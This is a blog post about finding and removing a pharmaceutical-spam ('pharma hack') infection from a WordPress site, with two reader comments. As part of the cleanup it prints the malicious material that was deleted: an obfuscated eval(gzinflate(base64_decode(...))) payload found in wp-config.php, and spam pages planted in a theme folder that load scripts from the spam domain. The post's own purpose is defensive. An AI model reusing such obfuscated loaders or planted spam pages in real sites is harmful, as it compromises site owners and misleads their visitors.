Cialis Found on WordPress Google Search and The Solution to Remove the Virus


On May 23rd 2011, suddenly when I search through Google.com using keywords: Perbandingan Agama, the Description of Cialis, Drugstore found on my website. It was Pharma-Hacked.  The result is like this:

Perbandingan Agama – Media Islam – 3 kunjungan – 25 Mei – [ Terjemahkan laman ini ]

Generic Cialis Women Effects – Official Drugstore. 24h online support. Absolute privacy. Order 25 mg Cialis.Brand and Generic Pills. Generic Cialis Women …

media-islam.or.id/category/perbandingan-agama/ – Tembolok –

There is a link refers to:

http://ed-pills-online.com

I hope if this domain using Google Hack to other websites, all search engines should block this website and hope the authority in US could catch this owner. And we as internet users, don’t by products from the hacker site.

After searching through the internet, finally I can get rid of the hack. The problem solved. At least some keywords don’t show the pharma hack’s description such as keyword: sombong, riya, etc.

There is a possibility the virus enter from freeshoutbox.net on my widget. The link to freeshoutbox.net is dead at that time. If you want to check whether your website got hacked, just search the google using keywords: yourdomain cialis

Well, I have done as follow to get rid of the virus:

1. I remove file whois.dat which contains:

whois.dat

<html>

<head>

<meta http-equiv=”content-type” content=”text/html; charset=UTF-8″>

<title>We Always Have The Cheapest Offers In Our Pharmacy Store</title>

<LINK rel=”stylesheet” href=”http://ed-pills-online.com/themes/blue/css/style.css&#8221; type=”text/css”>

<script type=”text/javascript” src=”http://ed-pills-online.com/themes/card.js”></script&gt;

<!– SESSION INFO –>

<script type=”text/javascript”>

var SessionType   = “URL”;

var SessionPrefix = “39c9a48876fdaf665f3a57970e16a114″;

var SessionName   = “USID”;

</script>

<!– /SESSION INFO –>

</head>

<body>

<!– Top menu and cart –>

<!–  Pre-loaded images  –>

<div style=”position:absolute;width:1px;height:1px;overflow:hidden;top:-20px;left:-20px;”>

<img src=”http://ed-pills-online.com/themes/blue/img/home_over.gif”&gt;

<img src=”http://ed-pills-online.com/themes/blue/img/bestsellers_over.gif”&gt;

<img src=”http://ed-pills-online.com/themes/blue/img/all_products_over.gif”&gt;

<img src=”http://ed-pills-online.com/themes/blue/img/faq_over.gif”&gt;

2. I delete some lines in wp-config.php start from: eval (gzinflate(base64_decode(

Wp-config.php

<?php

/** WordPress’s config file **/

/** http://wordpress.org/   **/

// ** MySQL settings ** //

define(‘WP_CACHE’, true); //Added by WP-Cache Manager

define(‘DB_NAME’, ‘xxxdb’);     // The name of the database

define(‘DB_USER’, xxxi’);     // Your MySQL username

define(‘DB_PASSWORD’, ‘xxx’); // …and password

define(‘DB_HOST’, ‘mysql.dreamxxx.usefulz.com’);     // …and the server MySQL is running on

// Change the prefix if you want to have multiple blogs in a single database.

$table_prefix  = ‘wp_yzpa03_';   // example: ‘wp_’ or ‘b2′ or ‘mylogin_’

// Change this to localize WordPress.  A corresponding MO file for the

// chosen language must be installed to wp-includes/languages.

// For example, install de.mo to wp-includes/languages and set WPLANG to ‘de’

// to enable German language support.

define (‘WPLANG’, ”);

/* Stop editing */

$server = DB_HOST;

$loginsql = DB_USER;

$passsql = DB_PASSWORD;

$base = DB_NAME;

eval (gzinflate(base64_decode(

‘Hc7BisIwEADQu+A/eKuCdkRbqSgWF1YU9iDoPUybqR1pMjFJEfx6y97f4ZWHfela’

.’Nx55evXsSYmtaZpAK4YAH32w/EHDYEgzLjh0aFLxKWt4u0UtNpKNEFsyFAAjtj12′

.’DtfZCsRFFhvgGWrpxEPtJQRodLbJ14hVsaFC5xUWVd6scp0tCbfpEElmu/FIU8N2′

.’WBx/btfj/ZzMJ5q9RUNTpU6Xv1+lZmkC/7Qc/l8=’)));

// Get everything else

require_once(ABSPATH.’wp-settings.php’);

?>

Well, you should find all files contain eval (gzinflate(base64 in your wordpress directory since the virus could attack different program

3. I delete the folder in my theme as follow since all the files in the folder refer to the cialis website. Try to find all the files using keyword “Drugstore”:

File: /media-islam.or.id/wp-content/themes/atahualpa342/options/jscolor/cross/ffa193430d11bdecb2275621b7dbd213

S

<html>

<head>

<meta http-equiv=”Content-Language” content=”en-us”>

<meta http-equiv=”Content-Type” content=”text/html; charset=us-ascii”>

<title>Generic 15 mg Cialis – Cheap High-Quality Pills.</title>

<meta name=”keywords” content=” Generic 15 mg Cialis Generic Cialis on-line medication”>

<meta name=”description” content=”Generic 15 mg Cialis – Official Drugstore. 24h online support. Absolute privacy. Order 25 mg Cialis.Brand and Generic Pills. Order Cialis com”>

</head>

<body>

<table width=”100%”  border=”0″ cellspacing=”0″ cellpadding=”0″ height=”691″>

<tr valign=”top”>

<td width=”260″ height=”132″ bordercolorlight=”#808080″ bordercolordark=”#C0C0C0″ bgcolor=”#C0C0C0″>

<p align=”center”><a href=”http://www.media-islam.or.id/category/usaha-muslim/&#8221; title=”order 20 mg cialis”>order 20 mg cialis</a><br>

<a href=”http://www.media-islam.or.id/page/2/&#8221; title=”order cialis in holland”>order cialis in holland</a><br>

4. I don’t know if there is a connection with a virus, but I delete folder net2ftp_temp in WordPress/wp-content/plugin

5. I reinstall my wordpress with the newest version, and recheck the file above again

6. I reinstall my theme with the newest version.

Then thank God, when I search another keyword such as sombong or riya in Google, the Cialis ads don’t appear. If it’s still appear in Perbandingan Agama, that’s probably because og Google Caching at that time.

Thanks to these websites who gave me inspirations and help me a lot!

http://www.seobook.com/wordpress-blog-hacking-checklist

http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html

About these ads

2 Tanggapan

  1. Hi,
    Yes, often this is the only real option (starting fresh).
    What I do for my client’s who who have been so badly hacked that updates and the like no longer work, is to set up an account at a separate secure hosting company, like TVC.Net, install a virgin blog then copy over the database. That “fixes” the problem nicely.

    “Friends should not friends get hacked”

    Best Wishes,
    Jim Walker
    The Hack Repair Guy

  2. Fresh install is the best solution.
    Yet, I do it only as last solution..

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Logout / Ubah )

Twitter picture

You are commenting using your Twitter account. Logout / Ubah )

Facebook photo

You are commenting using your Facebook account. Logout / Ubah )

Google+ photo

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

Ikuti

Get every new post delivered to your Inbox.

Bergabunglah dengan 36 pengikut lainnya.

%d bloggers like this: